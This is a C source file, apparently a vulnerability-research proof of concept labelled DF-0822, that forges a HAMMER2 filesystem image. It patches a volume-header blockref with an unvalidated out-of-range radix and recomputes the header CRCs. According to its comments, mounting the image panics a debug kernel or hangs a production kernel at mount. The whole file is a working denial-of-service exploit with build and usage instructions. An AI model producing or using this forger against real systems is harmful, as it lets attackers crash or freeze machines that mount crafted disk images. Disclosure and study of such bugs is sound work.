DF-0822 / forge.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 | /* * DF-0822 โ HAMMER2 bad-radix freemap-adj DoS trigger. * * Forges a HAMMER2 filesystem image whose volume-header sroot_blockset * contains a crafted DATA leaf blockref whose data_off carries an * out-of-range radix (44). The radix is never validated in * hammer2_freemap_adjust(); on a GENERIC (INVARIANTS) kernel the * KKASSERT(radix <= HAMMER2_RADIX_MAX) at hammer2_freemap.c:980 panics * the machine at mount; on a production (no INVARIANTS) kernel the * subsequent count = 1<<(radix-14) == 1<<30 drives a ~1-billion-iteration * while(count) CPU-burn that hangs the mount. * * Only the on-disk volume header is patched (sroot_blockset[1] + 3 CRCs). * Mount-time recovery (hammer2_recovery_scan, vfsops.c:2325) reads the * crafted DATA leaf, sees mirror_tid > freemap_tid, and calls * hammer2_freemap_adjust() with the bad radix before any chain/data is * instantiated. * * Build: cc -O2 -o forge forge.c * Usage: ./forge <in.img> <out.img> [radix] [offset_hex] * radix default 44, offset default allocator_beg */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> /* ---- CRC-32C (Castagnoli) โ identical to kernel iscsi_crc32 ---- */ static uint32_t crc32c_tab[256]; static void crc32c_init(void) { for (uint32_t i = 0; i < 256; i++) { uint32_t c = i; for (int k = 0; k < 8; k++) c = (c >> 1) ^ (0x82F63B78u & (uint32_t)(-(int32_t)(c & 1))); crc32c_tab[i] = c; } } /* iscsi_crc32(buf,size) = ~calculate_crc32c(-1,buf,size) */ static uint32_t iscsi_crc32(const uint8_t *buf, size_t len) { uint32_t crc = 0xFFFFFFFFu; for (size_t i = 0; i < len; i++) crc = crc32c_tab[(crc ^ buf[i]) & 0xFF] ^ (crc >> 8); return ~crc; } /* ---- volume-header field offsets (hammer2_disk.h) ---- */ #define VH_SIZE 65536 #define OFF_magic 0x0000 #define OFF_allocator_beg 0x0070 #define OFF_mirror_tid 0x0078 #define OFF_freemap_tid 0x0090 #define OFF_icrc_sects 0x01E0 /* uint32[8] */ #define OFF_sroot_blockset 0x0200 /* 4 blockrefs * 128 = 512 bytes */ #define OFF_icrc_volheader 0xFFFC #define SECT0_CRC_OFF 0 /* HAMMER2_VOLUME_ICRC0_OFF */ #define SECT0_CRC_SIZE 508 /* HAMMER2_VOLUME_ICRC0_SIZE */ #define SECT1_CRC_OFF 512 /* HAMMER2_VOLUME_ICRC1_OFF */ #define SECT1_CRC_SIZE 512 /* HAMMER2_VOLUME_ICRC1_SIZE */ #define VH_CRC_OFF 0 /* HAMMER2_VOLUME_ICRCVH_OFF */ #define VH_CRC_SIZE 65532 /* HAMMER2_VOLUME_ICRCVH_SIZE */ #define VOL_ICRC_SECT0 7 /* icrc_sects[7] */ #define VOL_ICRC_SECT1 6 /* icrc_sects[6] */ /* blockref field offsets (128 bytes each) */ #define BR_type 0 #define BR_key 16 #define BR_mirror_tid 24 #define BR_data_off 40 #define HAMMER2_BREF_TYPE_DATA 0x03 #define HAMMER2_VOLUME_ID_HBO 0x48414d3205172011ULL #define RADIX_BAD 44 /* count = 1<<(44-14) = 1<<30 */ #ifndef RADIX_TEST #define RADIX_TEST RADIX_BAD #endif static void put_u64(uint8_t *p, uint64_t v) { for (int i = 0; i < 8; i++) p[i] = (uint8_t)(v >> (i*8)); } static uint64_t get_u64(const uint8_t *p) { uint64_t v = 0; for (int i = 0; i < 8; i++) v |= (uint64_t)p[i] << (i*8); return v; } static void put_u32(uint8_t *p, uint32_t v) { for (int i = 0; i < 4; i++) p[i] = (uint8_t)(v >> (i*8)); } int main(int argc, char **argv) { if (argc < 3) { fprintf(stderr, "usage: %s <in.img> <out.img> [radix] [offset_hex]\n", argv[0]); return 2; } crc32c_init(); int fd = open(argv[1], O_RDONLY); if (fd < 0) { perror("open in"); return 1; } uint8_t *img = malloc(VH_SIZE); if (!img) { perror("malloc"); return 1; } /* volume header copy #0 lives at file offset 0 */ if (pread(fd, img, VH_SIZE, 0) != VH_SIZE) { perror("pread"); return 1; } close(fd); if (get_u64(img + OFF_magic) != HAMMER2_VOLUME_ID_HBO) { fprintf(stderr, "magic mismatch at offset 0: 0x%016llx\n", (unsigned long long)get_u64(img + OFF_magic)); return 3; } uint64_t allocator_beg = get_u64(img + OFF_allocator_beg); uint64_t freemap_tid = get_u64(img + OFF_freemap_tid); uint64_t mirror_tid = get_u64(img + OFF_mirror_tid); fprintf(stderr, "forge: allocator_beg=0x%llx freemap_tid=0x%llx mirror_tid=0x%llx\n", (unsigned long long)allocator_beg, (unsigned long long)freemap_tid, (unsigned long long)mirror_tid); /* ---- sanity: verify current CRCs decode correctly ---- */ uint32_t s0 = iscsi_crc32(img + SECT0_CRC_OFF, SECT0_CRC_SIZE); uint32_t s1 = iscsi_crc32(img + SECT1_CRC_OFF, SECT1_CRC_SIZE); uint32_t vh = iscsi_crc32(img + VH_CRC_OFF, VH_CRC_SIZE); uint32_t stored_s0 = *(uint32_t*)(img + OFF_icrc_sects + VOL_ICRC_SECT0*4); uint32_t stored_s1 = *(uint32_t*)(img + OFF_icrc_sects + VOL_ICRC_SECT1*4); uint32_t stored_vh = *(uint32_t*)(img + OFF_icrc_volheader); fprintf(stderr, "forge: crc sect0 calc=0x%08x stored=0x%08x %s\n", s0, stored_s0, s0==stored_s0?"OK":"MISMATCH"); fprintf(stderr, "forge: crc sect1 calc=0x%08x stored=0x%08x %s\n", s1, stored_s1, s1==stored_s1?"OK":"MISMATCH"); fprintf(stderr, "forge: crc volhdr calc=0x%08x stored=0x%08x %s\n", vh, stored_vh, vh==stored_vh?"OK":"MISMATCH"); if (s0 != stored_s0 || s1 != stored_s1 || vh != stored_vh) { fprintf(stderr, "forge: CRC self-test FAILED โ aborting\n"); return 4; } /* ---- patch sroot_blockset[1] into a crafted DATA leaf ---- */ int radix = (argc > 3) ? atoi(argv[3]) : RADIX_BAD; uint64_t off_override = (argc > 4) ? strtoull(argv[4], NULL, 0) : 0; uint8_t *br = img + OFF_sroot_blockset + 1 * 128; memset(br, 0, 128); br[BR_type] = HAMMER2_BREF_TYPE_DATA; put_u64(br + BR_key, 0x1000); /* arbitrary */ put_u64(br + BR_mirror_tid, freemap_tid + 1); /* > sync_tid */ /* data_off: offset must be >= allocator_beg and satisfy zone check * (data_off & ZONE_MASK64) >= ZONE_SEG (4MB). Use allocator_beg * (>= 4MB on any real fs) with radix bits = radix. */ uint64_t base_off = off_override ? off_override : allocator_beg; uint64_t doff = (base_off & ~(uint64_t)0x3F) | (radix & 0x3F); put_u64(br + BR_data_off, doff); fprintf(stderr, "forge: patched sroot[1] type=DATA data_off=0x%016llx radix=%d mirror_tid=0x%llx\n", (unsigned long long)doff, (int)(doff & 0x3f), (unsigned long long)(freemap_tid + 1)); /* ---- reforge the 3 volume-header CRCs (order matters) ---- */ /* sect1 covers sroot_blockset region (0x200-0x3ff) */ uint32_t new_s1 = iscsi_crc32(img + SECT1_CRC_OFF, SECT1_CRC_SIZE); put_u32(img + OFF_icrc_sects + VOL_ICRC_SECT1*4, new_s1); /* sect0 covers 0x000-0x1fb (includes icrc_sects[6] at 0x1f8) */ uint32_t new_s0 = iscsi_crc32(img + SECT0_CRC_OFF, SECT0_CRC_SIZE); put_u32(img + OFF_icrc_sects + VOL_ICRC_SECT0*4, new_s0); /* volheader covers 0x000-0xfffb (includes both icrc_sects[6],[7]) */ uint32_t new_vh = iscsi_crc32(img + VH_CRC_OFF, VH_CRC_SIZE); put_u32(img + OFF_icrc_volheader, new_vh); fprintf(stderr, "forge: new crc sect1=0x%08x sect0=0x%08x volhdr=0x%08x\n", new_s1, new_s0, new_vh); /* ---- write output image (copy input, overwrite vol header copy #0) ---- */ int fin = open(argv[1], O_RDONLY); int fout = open(argv[2], O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fin < 0 || fout < 0) { perror("open copy"); return 1; } uint8_t cpy[65536]; ssize_t n; int first = 1; while ((n = read(fin, cpy, sizeof(cpy))) > 0) { if (first) { memcpy(cpy, img, VH_SIZE); /* overwrite vol header */ first = 0; } if (write(fout, cpy, n) != n) { perror("write"); return 1; } } close(fin); close(fout); free(img); fprintf(stderr, "forge: wrote %s\n", argv[2]); return 0; } |